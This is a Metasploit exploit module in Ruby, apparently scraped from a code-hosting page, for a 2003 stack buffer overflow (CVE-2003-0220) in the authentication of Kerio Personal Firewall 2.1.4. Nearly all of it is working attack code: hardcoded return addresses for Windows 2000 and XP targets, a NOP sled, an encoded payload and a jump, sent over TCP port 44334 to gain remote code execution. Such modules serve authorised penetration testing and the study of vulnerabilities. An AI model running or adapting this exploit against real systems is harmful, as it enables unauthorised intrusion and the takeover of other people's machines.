72 lines
1.8 KiB
Ruby
72 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Kerio Personal Firewall
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administration authentication process. This module has only been tested
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against Kerio Personal Firewall 2 (2.1.4).
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2003-0220'],
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['OSVDB', '6294'],
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['BID', '7180']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
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[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
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[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Apr 28 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(44334)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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sploit = make_nops(4468) + payload.encoded
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sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
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sock.put(sploit)
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sock.get_once(-1, 3)
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handler
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disconnect
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end
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end
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